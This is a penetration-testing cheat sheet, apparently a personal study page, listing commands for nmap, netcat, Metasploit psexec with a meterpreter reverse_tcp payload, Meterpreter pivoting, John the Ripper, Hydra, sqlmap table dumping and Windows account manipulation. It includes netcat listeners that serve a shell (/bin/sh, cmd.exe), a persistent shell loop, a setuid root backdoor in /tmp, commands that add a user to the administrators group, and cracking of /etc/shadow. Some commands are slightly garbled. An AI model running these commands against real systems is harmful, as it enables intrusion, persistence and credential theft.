

Nmap

```
nmap -A <target> --reason -o <file>
nmap -p port(s) target --reason
nmap -sV -p port(s) target --reason
nmap -p <port> --script http-enum <target>
scripts: http-enum, http-title, smb-os-discovery, smb-brute
```

Netcat

```
nc -lvp 7777 create listener
nc -nv <IP> <Port> connect
nc -lvp Port -e /bin/sh
nc -lvp Port -e cmd.exe
while [ 1 ]; do echo "Started"; set up
nc -lvp [port] -e /bin/sh; done persistent listener
```

Wmic

Wmic process list brief

Wmic process where name="<process.exe>" list full

Wmic process where processid="<PID>" list full

Wmic process where processid="<PID>" get name,commandline,processid,parentprocessid

Wmic process where name="<process.exe>" get name,commandline,processid,parentprocessid

Wmic startup

Regedit and Startup

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, Runonce, RunonceEx

sc query | more Windows services

Tasklist /svc shows Process, PID, services

Taskschd.msc task scheduler GUI

schtasks | more CLI show scheduled tasks

schtasks /delete /tn <taskname> Delete a scheduled task

Lusrmgr.msc local users and groups GUI

secpol.msc local security policy GUI

check local policies, audit policy, audit logon events

reg query <HKEY...> shows whats in the registry key

DNS

nslookup from Windows

server <IP>

ls -d target.tgt

dig @<IP> target.tgt -t from Unix AXFR

attempt a zone transfer from a Windows System

Metasploit

```
search keyword type:exploit
use exploit/windows/smb/psexec
set SMBUser <admin_user>
set SMBPass <admin_pass>
set SMBDomain <windows domain>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set RHOST <target>
```

Meterpreter

```
migrate -N lsass.exe
shell background
route add <targetIP> pivot through session 1
<subnetMask> 1 when targeting <targetIP>
```

John The Ripper

```
unshadow /etc/passwd /etc/shadow > /tmp/combined
john /tmp/combined
john <hashfile> (LANMAN Hash)
john --format=NT <hashfile> (NT Hash)
Delete john.pot when you want to restart a cracking session. otherwise, it starts where it left off
```

Hydra

```
hydra -l <username> -p <password> ssh://<targetIP>
hydra -l <username> -P <passwordList.txt> ssh://<targetIP>
hydra -L <usernameList.txt> -p <password> ssh://<targetIP>
SSH, SMB, FTP
```



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Not published yet.
Last updated 4th June, 2022.
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SETUID shells

```
find / - uid 0 - type f - perm - 4000 2> /dev/null
```

```
cp /bin/sh /tmp/backdoor
```

```
sudo chown root:root /tmp/backdoor
```

```
sudo chmod 4755 /tmp/backdoor
```

```
/tmp/backdoor -p
```

```
find files starting at root directory, owned by root, are a file type (not directory), and have SETUID bit set. send errors to /dev/null.
```

Windows Net, SMBclient, SSH

```
net user /add <username> <password>
```

```
net localgroup administrators /add <username>
```

```
net user username /delete
```

```
net use * \\target\C$ password /u:targetIP-username
```

```
net use * /d /y
```

```
smbclient -U username -L server -m SMB3
```

```
smbclient -U username //server/C$ -m SMB3
```

```
smbclient -U DOM\username //server/C$ -m SMB3
```

```
ssh username@hostname
```

```
scp username@hostname:/path/to/file ./
```

```
scp file file username@hostname:
```

Alternate Data Streams

```
dir /r show ADS in CMD
```

```
Get-Item -Path -Stream show ADS in Powershell
```

```
lads C:\ /S search for ADS streams using LADS
```

```
lads C:\ /S | findstr /V "Error 1921" filter out LADS errors
```

```
more < file:streamName get ADS content in CMD
```

```
Get-Content -Path filepath -Stream streamName get ADS content in Powershell
```

wget and curl

```
wget <URL/file-name.txt> download a file locally
```

```
wget -qO- <URL/filename.txt> download and display file contents
```

```
curl -il <URL/file-name.txt> display server header response
```

```
curl -O filename.txt <URL/file-name.txt> download a file locally
```

```
curl --silent -b "cookievalue" <URL/filename.txt> download and display file, suppressing progress, with specified cookie
```

SQLi

```
sqlmap -u 'URL/page-&param=1?param=2' always start with valid URL, in quotes
```

```
sqlmap -u 'http://www[...]1?param=2' --db enumerate databases
```

```
sqlmap -u 'http://www[...]1?param=2' -D dbname --tables enum tables in selected database dbname
```

```
sqlmap -u 'http://www[...]1?param=2' -D dbname -T customers --dump retrieve all rows in the customers dbname.cu-stomers table
```



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